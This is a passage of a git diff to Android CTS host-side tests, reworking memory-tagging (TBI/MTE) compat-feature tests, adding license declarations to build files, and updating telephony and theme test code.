-    // tagged pointers, and DEVICE_TAGGING_DISABLED_TEST_NAME otherwise.
+    // tagged pointers, and DEVICE_TAGGING_DISABLED_TEST_NAME otherwise. Note - if MTE hardware
+    // is present, the device does not support the tagged pointers feature.
     protected String testForWhenSoftwareWantsTagging = DEVICE_TAGGING_DISABLED_TEST_NAME;
 
     @Override
     protected void setUp() throws Exception {
         installPackage(DEVICE_KERNEL_HELPER_APK_NAME, true);
-
         ITestDevice device = getDevice();
+
+        // Compat features have a very complicated truth table as to whether they can be
+        // enabled/disabled, including variants for:
+        //   - Enabling vs. disabling.
+        //   - `-userdebug` vs. "pre-release" `-user` vs. "release" `-user` builds.
+        //   - `targetSdkLevel`-gated changes vs. default-enabled vs. default-disabled.
+        //   - Debuggable vs. non-debuggable apps.
+        // We care most about compat features working correctly in the context of released `-user`
+        // builds, as these are what the customers of the compat features are most likely using. In
+        // order to ensure consistency here, we basically remove all these variables by reducing our
+        // device config permutations to a single set. All our apps are debuggable, and the
+        // following code forces the device to treat this test as a "released" `-user` build, which
+        // is the most restrictive and the most realistic w.r.t. what our users will use.
+        device.executeShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 1");
+
+        // Kernel support for tagged pointers can only be determined on device.
+        // Deploy a helper package and observe what the kernel tells us about
+        // tagged pointers support.
         device.executeAdbCommand("logcat", "-c");
         device.executeShellCommand(KERNEL_HELPER_START_COMMAND);
-        String logs =
-                device.executeAdbCommand(
-                        "logcat",
-                        "-v",
-                        "brief",
-                        "-d",
-                        DEVICE_KERNEL_HELPER_CLASS_NAME + ":I",
-                        "*:S");
+        String logs = device.executeAdbCommand(
+                "logcat", "-v", "brief", "-d", DEVICE_KERNEL_HELPER_CLASS_NAME + ":I", "*:S");
 
+        // Holds whether the device that this test is running on was determined to have both
+        // requirements for ARM TBI: the correct architecture (aarch64) and the full set of kernel
+        // patches (as indicated by a successful prctl(PR_GET_TAGGED_ADDR_CTRL)).
+        boolean deviceHasTBI = false;
         boolean foundKernelHelperResult = false;
         Scanner in = new Scanner(logs);
         while (in.hasNextLine()) {
             String line = in.nextLine();
             if (line.contains("Kernel supports tagged pointers")) {
                 foundKernelHelperResult = true;
-                deviceSupportsTaggedPointers = line.contains("true");
+                deviceHasTBI = line.contains("true");
                 break;
             }
         }
         in.close();
-        uninstallPackage(DEVICE_KERNEL_HELPER_PKG_NAME, true);
         if (!foundKernelHelperResult) {
             throw new Exception("Failed to get a result from the kernel helper.");
         }
 
-        if (deviceSupportsTaggedPointers) {
+        deviceSupportsMemoryTagging = !runCommand("grep 'Features.* mte' /proc/cpuinfo").isEmpty();
+
+        if (deviceHasTBI && !deviceSupportsMemoryTagging) {
             reportedChangeSet = ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID);
             testForWhenSoftwareWantsTagging = DEVICE_TAGGING_ENABLED_TEST_NAME;
         }
     }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(DEVICE_KERNEL_HELPER_PKG_NAME, true);
+        ITestDevice device = getDevice();
+        device.executeShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 0");
+    }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
index 97406c8..15c214e 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestDisabledTest extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestDisabledApp.apk";
     protected static final String TEST_PKG = "android.cts.tagging.disabled";
 
@@ -32,33 +31,30 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
                 /*reportedEnabledChanges*/ ImmutableSet.of(),
-                // No statsd report for manifest-disabled apps, see truth table in
-                // /cts/tagging/Android.bp for more information.
+                // No statsd report for manifest-disabled apps because the platform compat is never
+                // probed - see `reportedChangeSet` in TaggingBaseTest for more info.
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
         // Trying to force the compat feature on should fail if the manifest specifically turns the
         // feature off.
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
                 /*reportedEnabledChanges*/ ImmutableSet.of(),
-                // No statsd report for manifest-disabled apps, see truth table in
-                // /cts/tagging/Android.bp for more information.
+                // No statsd report for manifest-disabled apps because the platform compat is never
+                // probed - see `reportedChangeSet` in TaggingBaseTest for more info.
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
index eff9f22..2549397 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestEnabledSdk29Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestEnabledSdk29App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk29.manifest_enabled";
 
@@ -32,14 +31,13 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
         // Even though the manifest enables tagged pointers, the targetSdkVersion still needs to be
         // >= 30.
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -47,10 +45,9 @@
                 /*reportedDisabledChanges*/ reportedChangeSet);
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        // We can still force the feature on though!
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
index 8834daa..ea8586e 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestEnabledSdk30Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestEnabledSdk30App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk30.manifest_enabled";
 
@@ -32,12 +31,11 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -45,10 +43,8 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -56,34 +52,15 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureDisabledUserdebugBuild() throws Exception {
-        // Userdebug build - check that we can force disable the compat feature at runtime.
-        if (!getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
-                DEVICE_TAGGING_DISABLED_TEST_NAME,
-                /*enabledChanges*/ ImmutableSet.of(),
-                /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ ImmutableSet.of(),
-                /*reportedDisabledChanges*/ reportedChangeSet);
-    }
-
-    public void testCompatFeatureDisabledUserBuild() throws Exception {
-        // Non-userdebug build - we're not allowed to disable compat features. Check to ensure that
-        // even if we try that we still get pointer tagging.
-        if (getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDisabled() throws Exception {
+        // We're not allowed to disable compat features (see
+        // force_non_debuggable_final_build_for_compat in TaggingBaseTest for more info). Check to
+        // ensure that even if we try that we still get pointer tagging.
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ reportedChangeSet,
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
index 776433e..f6ae6cf 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingSdk29Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingSdk29App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk29";
 
@@ -32,12 +31,11 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -45,10 +43,8 @@
                 /*reportedDisabledChanges*/ reportedChangeSet);
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
index 9e5a1f9..c43a015 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
@@ -19,31 +19,27 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingSdk30Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingSdk30App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk30";
     private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
-    private static final long NATIVE_MEMORY_TAGGING_CHANGE_ID = 135772972;
-
-    private boolean supportsMemoryTagging;
+    private static final long NATIVE_MEMTAG_ASYNC_CHANGE_ID = 135772972;
+    private static final long NATIVE_MEMTAG_SYNC_CHANGE_ID = 177438394;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         installPackage(TEST_APK, true);
-        supportsMemoryTagging = !runCommand("grep 'Features.* mte' /proc/cpuinfo").isEmpty();
     }
 
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testHeapTaggingDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -52,9 +48,7 @@
     }
 
     public void testHeapTaggingCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -62,52 +56,92 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureDisabledUserdebugBuild() throws Exception {
-        // Userdebug build - check that we can force disable the compat feature at runtime.
-        if (!getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
-                DEVICE_TAGGING_DISABLED_TEST_NAME,
-                /*enabledChanges*/ ImmutableSet.of(),
-                /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ ImmutableSet.of(),
-                /*reportedDisabledChanges*/ reportedChangeSet);
-    }
-
-    public void testCompatFeatureDisabledUserBuild() throws Exception {
-        // Non-userdebug build - we're not allowed to disable compat features. Check to ensure that
-        // even if we try that we still get pointer tagging.
-        if (getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDisabled() throws Exception {
+        // We're not allowed to disable compat features (see
+        // force_non_debuggable_final_build_for_compat in TaggingBaseTest for more info). Check to
+        // ensure that even if we try that we still get pointer tagging.
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
+                /*reportedDisabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testMemoryTagChecksSyncCompatFeatureEnabled() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
+            return;
+        }
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagSyncChecksEnabled",
+                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_SYNC_CHANGE_ID),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testMemoryTagChecksAsyncCompatFeatureEnabled() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
+            return;
+        }
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagAsyncChecksEnabled",
+                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testMemoryTagChecksCompatFeatureDisabled() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
+            return;
+        }
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagChecksDisabled",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(NATIVE_MEMTAG_SYNC_CHANGE_ID, NATIVE_MEMTAG_ASYNC_CHANGE_ID));
+    }
+
+    // Ensure that enabling MTE on non-MTE hardware is a no-op. Note - No statsd report for
+    // NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID. The fallback for an app that requests MTE on non-MTE
+    // hardware is an implicit TBI. Compat is never probed for the status of the heap pointer
+    // tagging feature in this instance.
+    public void testMemoryTagChecksCompatFeatureEnabledNonMTE() throws Exception {
+        if (deviceSupportsMemoryTagging) {
+            return;
+        }
+        // Tagged Pointers should still be used if the kernel/HW supports it.
+        runDeviceCompatTestReported(TEST_PKG, ".TaggingTest", testForWhenSoftwareWantsTagging,
+                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
+                /*disabledChanges*/ ImmutableSet.of(),
+                // Don't check statsd report for NATIVE_MEMTAG_ASYNC_CHANGE_ID, as on non-aarch64
+                // we never probed compat for this feature.
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
+                /*reportedDisabledChanges*/ ImmutableSet.of());
+    }
+
+    // Ensure that disabling MTE on non-MTE hardware is a no-op.
+    public void testMemoryTagChecksCompatFeatureDisabledNonMTE() throws Exception {
+        if (deviceSupportsMemoryTagging) {
+            return;
+        }
+        // Tagged Pointers should still be used if the kernel/HW supports it.
+        runDeviceCompatTestReported(TEST_PKG, ".TaggingTest", testForWhenSoftwareWantsTagging,
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
                 /*reportedEnabledChanges*/ reportedChangeSet,
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testMemoryTagChecksCompatFeatureEnabled() throws Exception {
-        if (!supportsMemoryTagging) {
+    public void testMemoryTagChecksSyncActivity() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
             return;
         }
-        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagChecksEnabled",
-                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMORY_TAGGING_CHANGE_ID),
-                /*disabledChanges*/ImmutableSet.of());
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagSyncActivityChecksEnabled",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
     }
 
-    public void testMemoryTagChecksCompatFeatureDisabled() throws Exception {
-        if (!supportsMemoryTagging) {
+    public void testMemoryTagChecksAsyncActivity() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
             return;
         }
-        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagChecksDisabled",
-                /*enabledChanges*/ImmutableSet.of(),
-                /*disabledChanges*/ ImmutableSet.of(NATIVE_MEMORY_TAGGING_CHANGE_ID));
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagAsyncActivityChecksEnabled",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/hostsidetests/telephony/Android.bp b/hostsidetests/telephony/Android.bp
index adddc00..b3d0084 100644
--- a/hostsidetests/telephony/Android.bp
+++ b/hostsidetests/telephony/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsTelephonyHostCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/telephony/devicetest/Android.bp b/hostsidetests/telephony/devicetest/Android.bp
index e32364b..dda0d6c 100644
--- a/hostsidetests/telephony/devicetest/Android.bp
+++ b/hostsidetests/telephony/devicetest/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "TelephonyDeviceTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/telephony/devicetest/src/android/telephony/device/cts/TelephonyTest.java b/hostsidetests/telephony/devicetest/src/android/telephony/device/cts/TelephonyTest.java
index fdcd338..23322e8 100644
--- a/hostsidetests/telephony/devicetest/src/android/telephony/device/cts/TelephonyTest.java
+++ b/hostsidetests/telephony/devicetest/src/android/telephony/device/cts/TelephonyTest.java
@@ -24,6 +24,7 @@
 import android.os.HandlerThread;
 import android.provider.DeviceConfig;
 import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyCallback;
 import android.telephony.TelephonyManager;
 import android.telephony.TelephonyRegistryManager;
 
@@ -132,8 +133,8 @@
     private List<PhoneStateListener> registerFillerListeners() {
         int registrationLimit = ShellIdentityUtils.invokeStaticMethodWithShellPermissions(() ->
                 DeviceConfig.getInt(DeviceConfig.NAMESPACE_TELEPHONY,
-                        PhoneStateListener.FLAG_PER_PID_REGISTRATION_LIMIT,
-                        PhoneStateListener.DEFAULT_PER_PID_REGISTRATION_LIMIT));
+                        TelephonyCallback.FLAG_PER_PID_REGISTRATION_LIMIT,
+                        TelephonyCallback.DEFAULT_PER_PID_REGISTRATION_LIMIT));
         if (registrationLimit < 1) {
             // Don't test anything if the limit is too small
             return null;
diff --git a/hostsidetests/telephonyprovider/Android.bp b/hostsidetests/telephonyprovider/Android.bp
index e2f6b22..2fa3b71 100644
--- a/hostsidetests/telephonyprovider/Android.bp
+++ b/hostsidetests/telephonyprovider/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsTelephonyProviderHostCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/telephonyprovider/devicetest/Android.bp b/hostsidetests/telephonyprovider/devicetest/Android.bp
index 8a70b2e..cc44044 100644
--- a/hostsidetests/telephonyprovider/devicetest/Android.bp
+++ b/hostsidetests/telephonyprovider/devicetest/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "TelephonyProviderDeviceTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/testharness/Android.bp b/hostsidetests/testharness/Android.bp
index 975d996..c7efdaf 100644
--- a/hostsidetests/testharness/Android.bp
+++ b/hostsidetests/testharness/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsTestHarnessModeTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/testharness/app/Android.bp b/hostsidetests/testharness/app/Android.bp
index c8ea847..a5a8b29 100644
--- a/hostsidetests/testharness/app/Android.bp
+++ b/hostsidetests/testharness/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTestHarnessModeDeviceApp",
     // Don't include this package in any target
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index 037c2e3..44637c1 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -31,6 +31,8 @@
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsThemeHostTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
@@ -42,4 +44,3 @@
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
diff --git a/hostsidetests/theme/app/Android.bp b/hostsidetests/theme/app/Android.bp
index c534e9e..4c7cdc6 100644
--- a/hostsidetests/theme/app/Android.bp
+++ b/hostsidetests/theme/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsThemeDeviceApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/theme/assets/30/450dpi.zip b/hostsidetests/theme/assets/30/450dpi.zip
new file mode 100644
index 0000000..5ce9a1e
--- /dev/null
+++ b/hostsidetests/theme/assets/30/450dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 2fcbb5b..a46269c 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -64,9 +64,6 @@
 
     private static final String CLEAR_GENERATED_CMD = "rm -rf %s/*.png";
     private static final String STOP_CMD = String.format("am force-stop %s", APP_PACKAGE_NAME);
-    private static final String HARDWARE_TYPE_CMD = "dumpsys | grep android.hardware.type";
-    private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
-    private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
 
     /** Shell command used to obtain current device density. */
     private static final String WM_DENSITY = "wm density";
@@ -125,7 +122,7 @@
                 fail("Failed to unzip assets: " + zipFile);
             }
         } else {
-            if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
+            if (checkHardwareTypeSkipTest()) {
                 Log.logAndDisplay(LogLevel.WARN, LOG_TAG,
                         "Could not obtain resources for skipped themes test: " + zipFile);
             } else {
@@ -149,11 +146,10 @@
     }
 
     public void testThemes() throws Exception {
-        if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
+        if (checkHardwareTypeSkipTest()) {
             Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive");
             return;
         }
-
         if (mReferences.isEmpty()) {
             Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
                     "Skipped themes test due to missing reference images");
@@ -294,19 +290,26 @@
     }
 
     private static int getDensityForDevice(ITestDevice device) throws DeviceNotAvailableException {
-        final String densityProp;
-        if (isEmulator(device)) {
-            densityProp = DENSITY_PROP_EMULATOR;
-        } else {
-            densityProp = DENSITY_PROP_DEVICE;
+        final String output = device.executeShellCommand(WM_DENSITY);
+        final Pattern p = Pattern.compile("Physical density: (\\d+)");
+        final Matcher m = p.matcher(output);
+        if (m.find()) {
+            return Integer.parseInt(m.group(1));
         }
-        return Integer.parseInt(device.getProperty(densityProp));
+        throw new RuntimeException("Failed to detect device density");
     }
 
-    private static boolean checkHardwareTypeSkipTest(String hardwareTypeString) {
-        return hardwareTypeString.contains("android.hardware.type.watch")
-                || hardwareTypeString.contains("android.hardware.type.television")
-                || hardwareTypeString.contains("android.hardware.type.automotive");
+    private boolean checkHardwareTypeSkipTest() {
+        try {
+         if( mDevice.hasFeature("feature:android.hardware.type.watch")
+                 || mDevice.hasFeature("feature:android.hardware.type.television")
+                 || mDevice.hasFeature("feature:android.hardware.type.automotive")) {
+             return true;
+         }
+        } catch (DeviceNotAvailableException ex) {
+             return false;
+        }
+        return false;
     }
 
     private static boolean isEmulator(ITestDevice device) {
diff --git a/hostsidetests/trustedvoice/Android.bp b/hostsidetests/trustedvoice/Android.bp
index f20218c..faa94df 100644
--- a/hostsidetests/trustedvoice/Android.bp
+++ b/hostsidetests/trustedvoice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsTrustedVoiceHostTestCases",
